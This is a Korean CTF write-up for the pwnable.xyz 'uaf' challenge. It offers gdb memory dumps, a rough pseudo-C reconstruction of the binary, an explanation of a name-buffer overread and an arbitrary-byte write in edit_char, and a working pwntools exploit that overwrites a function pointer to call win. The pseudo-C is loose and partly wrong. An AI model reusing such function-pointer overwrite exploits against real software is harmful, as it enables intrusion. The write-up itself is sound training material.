pwnable.xyz 19번째 문제 uaf 이다.

 

이번 문제는 Use After Free 문제 인줄 알았지만, 전혀 아니었다...

 


Analyze

 

해당 문제의 바이너리를 분석하면 아래와 같이 사용자 정의 함수가 많을 것을 알 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/19_uaf $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
calc
delete_save
edit_char
handler
initialize_game
main
print_menu
read_int32
save_game
setup
win

 

gdb 로 바이너리를 분석해서 c로 나타내면 아래와 같다.

#include <stdio.h>

void initialize_game(){
   *cur = malloc(0x90);
   *cur+0x80 = malloc(0x90);
   *cur+0x88 = &calc;
   
   *saves = *cur;
   
}

void calc(){
    int count = 0;
    while(count <= 23){
        *(*cur+0x80) += (long)(count) << 0x2;
        
        if ((int)*(*cur+0x80) == 0){
            int tmp2 = 0; // rbp-0x14
            int tmp3 = 0; // rbp-0x10
            scanf("%d %d", &tmp2, tmp3);
            
            *(*cur+0x80 + ((long)(count) << 0x2)) = tmp2 ^ tmp3;
            break;
        }
        count++;
    }
}

void save_game(){
    int count = 1;
    while(count <= 0x9){
        if (*(saves + count*8) == 0){
            *(saves + count*8) = malloc(0x90);
            *(saves + count*8) + 0x80 = malloc(0x90);
            
            if(*(*(saves + count*8) + 0x88) == 0){
                *(*(saves + count*8) + 0x88) = *(*cur + 0x88);
                
                printf("Save name: ");
                // Vulnerability
                read(0, *(saves + count*8), 0x80);  // Print name with malloc address
                
                *cur = *(save + count*8);
                
                return;
            }
        }
        count++;
    }
    
    puts("No space.");
}

void delete_save(){
    printf("Save #: ");
    int input = read_int32();
    
    if (0 <= input && input <= 0x09){
        if(*(save + input*8) != 0){
            long tmp1 = *(*(save + input*8) + 0x80);    // rbp-0x10
            free(*(save + input*8));
            *(*(save + input*8) + 0x80) = 0;
            free(tmp1);
            
            *(save + input*8) = 0;
            break;
            // Vulnerability
            // Not free cur value
        }
    }
    else {
        puts("Invalid");
    }
}

void edit_char(){
    puts("Edit a character from your name.");
    printf("Char to replace: ");
    char tmp1 = getchar();
    getchar();
    printf("New char: ");
    char tmp2 = getchar();
    getchar();
    
    if(tmp1 != 0 && tmp2 != 0){
        long tmp3 = strchrnul(*cur, tmp1);
        if(tmp3 != 0){
            (char)(tmp3) = tmp2;
        }
        else{
            puts("Character not found.");
        }
    }
}

void print_menu(){
    printf("Menu:\n\t1. Play\n\t2. Save game.\n\t3. Delete save\n\t4. Print name.\n\t5. Change char.\n\t0. Exit.\n> ");
}

int main(){
    printf("Name: ");
    read(0, *cur, 0x7f); // 127
    
    while(1){
        print_menu();
        int select = read_int32();
        
        if(select > 5){
            puts("Invalid");
        }
        else{
            tmp = select * 4;
            
            long tmp = *(0x4013fc + (select * 4));
            tmp += 0x4013fc;
            
            tmp();
            
            // if tmp == 0x401203
            (*cur+0x88)();
            
            // if tmp == 0x40121d
            save_game();
            
            // if tmp == 
            delete_save();
            
            // if tmp == 
            printf("Save name: %s\n", *cur);
            
            // else
            puts("Invalid");
        }
    }
}

 

 

전역 변수로는 cur, saves 변수가 존재하는데 구조는 아래와 같다.

gdb-peda$ x/16gx 0x6022c0
0x6022c0 <cur>:         0x0000000000603290      0x0000000000000000
0x6022d0:               0x0000000000000000      0x0000000000000000
0x6022e0 <saves>:       0x0000000000603290      0x0000000000000000
0x6022f0 <saves+16>:    0x0000000000000000      0x0000000000000000
0x602300 <saves+32>:    0x0000000000000000      0x0000000000000000
0x602310 <saves+48>:    0x0000000000000000      0x0000000000000000
0x602320 <saves+64>:    0x0000000000000000      0x0000000000000000

 

main 함수가 처음 호출되었을때, Name 값을 입력하는데 이때 cur 변수가 가지는 주소에 값이 저장이 된다.

0x603310 에는 malloc의 주소

0x603318 에는 calc 함수의 주소가 들어가 있다.

gdb-peda$ x/20gx 0x0000000000603290
0x603290:       0x4141414141414141      0x4141414141414141
0x6032a0:       0x4141414141414141      0x4141414141414141
0x6032b0:       0x4141414141414141      0x4141414141414141
0x6032c0:       0x4141414141414141      0x4141414141414141
0x6032d0:       0x4141414141414141      0x4141414141414141
0x6032e0:       0x4141414141414141      0x4141414141414141
0x6032f0:       0x4141414141414141      0x4141414141414141
0x603300:       0x4141414141414141      0x0041414141414141
0x603310:       0x0000000000603330      0x0000000000400d6b
0x603320:       0x0000000000000000      0x00000000000000a1
0x603330:       0x0000000000000000      0x0000000000000000

 

 

 

취약점은 save_game() 함수에서 발생한다.

13번째에 Name 값을 입력할때 0x80 만큼 입력해서 0x603310 에 있는 malloc 함수의 주소까지 접근이 가능하다.

void save_game(){
    int count = 1;
    while(count <= 0x9){
        if (*(saves + count*8) == 0){
            *(saves + count*8) = malloc(0x90);
            *(saves + count*8) + 0x80 = malloc(0x90);
            
            if(*(*(saves + count*8) + 0x88) == 0){
                *(*(saves + count*8) + 0x88) = *(*cur + 0x88);
                
                printf("Save name: ");
                // Vulnerability
                read(0, *(saves + count*8), 0x80);  // Print name with malloc address
                
                *cur = *(save + count*8);
                
                return;
            }
        }
        count++;
    }
    
    puts("No space.");
}

 

 

그다음 취약점은 edit_char() 함수에서 발생한다.

12번째 줄에 strchrnul() 함수로 사용자가 입력한 문자가 있는지 검사를 하게 되는데

이때 strchrnul() 함수의 return 값은 주소이다.

하지만 12번째 줄에는 주소가 0이 아니면 해당 주소에 write 하게 되므로, 잘못된 코딩으로 에러가 발생하게 된다.

void edit_char(){
    puts("Edit a character from your name.");
    printf("Char to replace: ");
    char tmp1 = getchar();
    getchar();
    printf("New char: ");
    char tmp2 = getchar();
    getchar();
    
    if(tmp1 != 0 && tmp2 != 0){
        long tmp3 = strchrnul(*cur, tmp1)
        if(tmp3 != 0){
            (char)(tmp3) = tmp2;
        }
        else{
            puts("Character not found.");
        }
    }
}

 

 

 


Payload

from pwn import *

# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30015")
e = ELF("./challenge", checksec=False)

p.sendlineafter("Name: ", "Universe")

p.sendlineafter("> ", "2")
p.sendafter("Save name: ", "A"*0x80)


calc_addr = list(p32(e.symbols["calc"]))
win_addr = list(p32(e.symbols["win"]))

for i in range(4):
    p.sendlineafter("> ", "5")
    p.sendlineafter(": ", "Z")
    p.sendlineafter(": ", "A")

count = 0
while count < 3:
    p.sendlineafter("> ", "5")
    p.sendlineafter(": ", calc_addr[count])
    p.sendlineafter(": ", win_addr[count])
    count += 1

p.sendlineafter("> ", "1")

p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] rwsr write up  (0) 2020.02.25
[pwnable.xyz] bookmark write up  (0) 2020.02.25
[pwnable.xyz] uaf write up  (0) 2020.02.21
[pwnable.xyz] fspoo write up  (0) 2020.02.21
[pwnable.xyz] Game write up  (0) 2020.02.15
[pwnable.xyz] l33t-ness write up  (0) 2020.01.31